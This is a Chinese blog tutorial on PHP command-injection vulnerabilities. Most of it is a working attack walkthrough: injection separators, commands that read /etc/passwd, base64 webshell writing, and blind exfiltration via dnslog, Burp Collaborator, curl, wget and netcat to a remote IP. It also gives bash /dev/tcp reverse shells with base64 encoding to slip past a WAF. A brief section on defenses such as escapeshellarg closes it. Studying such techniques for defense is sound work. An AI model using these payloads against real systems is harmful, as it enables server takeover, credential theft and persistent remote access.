命令执行


命令执行漏洞

描述

程序员使用脚本语言(比如 PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层。

如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞

在 PHP 中可以调用外部程序的常见函数:

system(args) 有回显

passthru(args)(有回显)

exec(args) (回显最后一行-必须 echo 输出)

shell_exec(args) (无回显-必须输出)

反引号:``

popen(handle,mode)(无回显)

proc_open(‘cmd’,’flag’,’flag’)(无回显)

$process = proc_open(‘dir’,$des,$pipes);

echo stream_get_contents($pipes[1]);

危害

  • 继承 Web 服务器程序的权限,去执行系统命令
  • 继承 Web 服务器程序的权限,读写文件
  • 反弹 shell
  • 控制整个网站
  • 甚至控制整个服务器

源码分析

image-20211028172702446

可以看到ipaddress是外部可控,直接拼接,并且用shell_exec调用系统命令存在命令执行

攻击

;(分号)

命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。

ping -c 1 127.0.0.1;whoami

命令执行漏洞可以直接使用&&或者|和管道命令执行其他命令

| (管道符号)

通过管道符,可以将一个命令的标准输出管理为另外一个命令的标准输入,当它失败后,会执行另外一条命令

ping -c 1 127.0.0.1|whoami

&(后台任务符号)

命令按照顺序(从左到右)被执行,跟分号作用一样;此符号作用是后台任务符号使 shell 在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作

ping -c 4 127.0.0.1&cat /etc/passwd&

&&(逻辑与)

前后的命令的执行存在逻辑与关系,只有&&前面的命令执行成功后,它后面的命令才被执行

ping -c 4 127.0.0.1&&whoami

||(逻辑或)

前后命令的执行存在逻辑或关系,只有||前面的命令执行失败后,它后面的命令才被执行;

ping -c ||whoami

`(反引号)

当一个命令被解析时,它首先会执行反引号之间的操作。

例如执行

echo `ls -a`

将会首先执行 ls 并捕获其输出信息。然后再将它传递给 echo,并将 ls 的输出结果打印在屏幕上,这被称为命令替换

echo `whoami`

$(command)命令替换

这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。

ping -c 4 |echo $(whoami)

有回显的:

发现命令执行漏洞,如果是回显的情况下,获取系统敏感信息。

win 操作系统

type c:\windows\win.ini

linux 操作系统

cat /etc/passwd

无回显:

有回显的情况下相对较少,一般在实战环境环境中,无回显的环境较多,证明漏洞存在就需要各种利用外通信技巧

外通信技巧

写入webshell后门到网站目录

如果存在漏洞的页面有 web 服务器,有权限写入,利用 shell 命令写入 webshell后门到网站目录,访问即可获取 webshell

|echo "PD9waHAgcGhwaW5mbygpOz8+"|base64 -d >shell.php

image-20211028174548579

ping 后打开shell.php

image-20211028174606951

dnslog

dnslog 是一个显示解析记录的平台,在无回显的情况下,通过访问 dnslog,dnslog会把你访问的子域名的头文件记录下来。

使用反引号

`whoami`

得到的用户名再,子域名,再使用 icmp 协议访问 ping 域名

| ping `whoami`.ox1cui.dnslog.cn

image-20211028184224476

可以看到有了回显

burpsuite burpcollaborator

原理和dnslog一样

ping -c 4 127.0.0.1| ping -c 2 `whoami`.gscy64kw4vcfn1jetgvogthnpev4jt.burpcollaborator.net

image-20211028184557914

可以看到也出了数据

利用日志

利用 HTTP 协议,访问 WEB 中间件时,iis 或者 apache 或者小型服务,都存在访问日志。

在 kali 上开启 python 的小型服务器。再用 curl 协议访问远程服务器ip 的 80 端口,再到 kali 的终端查看记录即可。

使用 curl 命令
ping -c 4 ||curl http://10.163.194.45/?`whoami`
使用 wget 命令
ping -c 4 ||wget http://10.163.194.45/?`whoami`

image-20211028184822163

image-20211028185440496

netcat

如果目标系统存在有 netcat (ubuntu 系统都会存在)。使用命令读取文件传递到远程服务器上

远程服务器监听命令
nc -lp 9999 >passwd
本地执行命令
nc 10.163.193.76 9999 </etc/passwd
会在查看远程服务器生成 passwd 文件

image-20211028190442147

nc反弹shell

在执行命令漏洞,一般的利用方式是执行反弹 shell,再进行其他的操作。

执行反弹 shell 的命令有许多。

反弹 shell 因为是从受害者,反向连接远程服务器,请求是从内部到外部,所以防火墙是不会进行拦截。

远程服务器 nc 监听命令
nc -vlnp 8080

image-20211028191508214

受害者反弹 shell 命令,每种语言都有 sock 连接命令,可以根据不同的环境,选择合适的命令。

bash -i >& /dev/tcp/10.163.194.45/8080 0>&1

使用bash shell 执行

||/bin/bash -c 'bash -i >& /dev/tcp/10.163.194.45/8080 0>&1'

image-20211028191624957

image-20211028191701451

image-20211028192230970

可以看到拿到了shell

如果有 waf 进行连接,可以把语句进行 base64 加密后,因为加密后的字符串没有触发拦截规则,再利用 shell 命令再进行解码。

bash -i >& /dev/tcp/192.168.0.103/8080 0>&1

base64 编码后

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzgwODAgMD4mMQ==

受害者执行

echo"YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTMzLzgwODAgMD4mMQ=="|base64 -d|bash

防御

  • 不执行外部的应用程序或命令

    尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行 system、eval 等命令执行功能的函数前,要确认参数内容。

  • 使用 escapeshellarg 函数处理相关参数

    escapeshellarg 函数会将用户引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“’”,双引号“””会被转义为“””,分号“;”会被转义为“;”,这样 escapeshellarg 会将参数内容限制在一对单引号或双引号里面,转义参数中包括的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。

  • 使用 safe_mode_exec_dir 执行可执行的文件路径

    将 php.ini 文件中的 safe_mode 设置为 On,然后将允许执行的文件放入一个目录,并使用 safe_mode_exec_dir 指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在 safe_mode_exec_dir 指定的目录中才会允许执行,否则执行将失败。


文章作者: 晓莎K
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 晓莎K !
评论
  目录